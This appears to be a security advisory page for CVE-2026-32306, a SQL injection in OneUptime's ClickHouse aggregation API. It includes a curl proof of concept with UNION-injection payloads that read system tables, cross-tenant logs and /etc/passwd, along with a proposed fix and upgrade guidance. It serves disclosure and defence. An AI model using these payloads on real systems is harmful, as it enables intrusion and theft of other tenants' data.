CVE-2026-32306: OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

Published Mar 12, 2026
·
Updated

Summary

The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.

Details

Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:

The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:

typescript // BaseAnalyticsAPI.ts:292-296 const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize( req.body["aggregateBy"] ) as AggregateBy<TBaseModel>;

No schema validation is applied to aggregateBy. The object flows directly to the database service.

No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:

typescript // AnalyticsDatabaseService.ts:276-278 if (aggregateBy.aggregationType) { // Only truthiness check — no allowlist }

The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).

Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:

typescript // StatementGenerator.ts:527 statement.append( ${aggregationType}(${aggregateColumnName}) as aggregationResult );

The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:

typescript // Statement.ts:149-151 public append(text: string): Statement { this.query += text; // Raw concatenation — "trusted SQL" return this; }

Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:

typescript statement.append( toStartOfInterval(${aggregationTimestampColumnName}, ...) );

Attack flow: 1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate) 2. Request body contains aggregateBy.aggregationType set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via .append() at line 527 5. ClickHouse executes the injected SQL

PoC

bash Step 1: Authenticate and get session token TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')

Step 2: Extract data from ClickHouse system tables via UNION injection curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

Step 3: Read telemetry data across all tenants curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

Step 4: Read files via ClickHouse table functions (if enabled) curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT FROM file('\''/etc/passwd'\'') --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

bash Verify the vulnerability in source code:

1. No allowlist for aggregationType: grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5 Line 276: if (aggregateBy.aggregationType) { — truthiness only

2. Raw SQL concatenation: grep -n 'aggregationType.aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts Line 527: ${aggregationType}(${aggregateColumnName}) as aggregationResult

3. .append() is raw concatenation: grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts this.query += text; — "trusted SQL"

4. No validation at API layer: grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist' 0

Impact

Full ClickHouse database compromise. An authenticated user (any role) can:

1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own 2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users 3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem 4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands 5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly

The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.

Proposed Fix

typescript // 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts: const ALLOWEDAGGREGATIONTYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];

if (!ALLOWEDAGGREGATIONTYPES.includes(aggregateBy.aggregationType.toUpperCase())) { throw new BadRequestException( Invalid aggregationType: ${aggregateBy.aggregationType}. + Allowed: ${ALLOWEDAGGREGATIONTYPES.join(', ')} ); }

// 2. Validate aggregateColumnName against the model's known columns: const modelColumns = model.getColumnNames(); // or similar accessor if (!modelColumns.includes(aggregateBy.aggregateColumnName)) { throw new BadRequestException( Invalid column: ${aggregateBy.aggregateColumnName} ); }

// 3. Same for aggregationTimestampColumnName: if (aggregateBy.aggregationTimestampColumnName && !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) { throw new BadRequestException( Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName} ); }

// 4. Use parameterized queries where possible: statement.append({aggregationType:Identifier}({columnName:Identifier}) as aggregationResult); statement.addParameter('aggregationType', aggregateBy.aggregationType); statement.addParameter('columnName', aggregateBy.aggregateColumnName);

Other sources

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.

— MITRE

Affected Software

3 affected componentsFixes available
OneUptime OneUptime<10.0.23
npm/oneuptime<10.0.23
10.0.23
Hackerbay Oneuptime<10.0.23

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/oneuptime to a version that resolves this vulnerability.

    Fixed in 10.0.23
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 10.0.23
  3. Compensating control

    Add an allowlist for aggregationType containing only AVG, SUM, COUNT, MIN, MAX, and UNIQ; reject values not included in the allowlist.

  4. Compensating control

    Validate aggregateColumnName against the model's known columns and validate aggregationTimestampColumnName against the model columns before constructing the ClickHouse query.

  5. Compensating control

    Use parameterized queries for aggregationType, aggregateColumnName, and related query values instead of raw SQL concatenation through Statement.append().

Event History

Mar 12, 2026
CVE Published
via MITRE·09:27 PM
Data Sourced
via MITRE·09:27 PM
DescriptionSeverityWeakness
Mar 13, 2026
Data Sourced
via NVD·07:54 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:00 PM
Data Sourced
via GitHub·08:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-32306?

The severity of CVE-2026-32306 is classified as high due to its potential for SQL injection.

2

How do I fix CVE-2026-32306?

To fix CVE-2026-32306, upgrade OneUptime to version 10.0.23 or later.

3

What impact does CVE-2026-32306 have on OneUptime?

CVE-2026-32306 allows an attacker to execute arbitrary SQL commands through user-controlled parameters, compromising the database.

4

What versions of OneUptime are affected by CVE-2026-32306?

Versions of OneUptime prior to 10.0.23 are affected by CVE-2026-32306.

5

Is there a workaround for CVE-2026-32306 if I cannot upgrade?

There is no official workaround for CVE-2026-32306; upgrading to a patched version is necessary to mitigate the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203